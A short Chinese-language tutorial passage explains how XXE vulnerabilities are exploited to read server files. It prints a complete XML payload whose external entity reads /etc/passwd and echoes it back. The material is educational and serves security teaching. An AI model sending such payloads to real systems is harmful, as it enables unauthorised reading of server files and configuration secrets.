XXE 漏洞利用方式
1. 文件读取(最常见)
这是 XXE 漏洞最经典的利用方式,攻击者可以利用外部实体来读取服务器上的任意文件,例如/etc/passwd
、Web 应用配置文件等
- 利用原理:攻击者在 XML 文档中定义一个外部实体,实体的值为一个本地文件路径。当 XML 解析器解析该实体时,就会去读取并返回该文件的内容
-
利用步骤:
- 构造恶意 DTD:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用
SYSTEM
关键字。- 例如:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
- 例如:
- 引用实体:在 XML 文档的主体中引用该实体。
- 例如:
<data>&xxe;</data>
- 例如:
- 构造恶意 DTD:攻击者在 XML 文档的 DOCTYPE 声明中定义一个外部实体,通常使用
-
完整示例:
<?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <root> <data>&xxe;</data> </root>
当服务器解析这个 XML 时,在
<data>
标签中就会回显/etc/passwd
文件的内容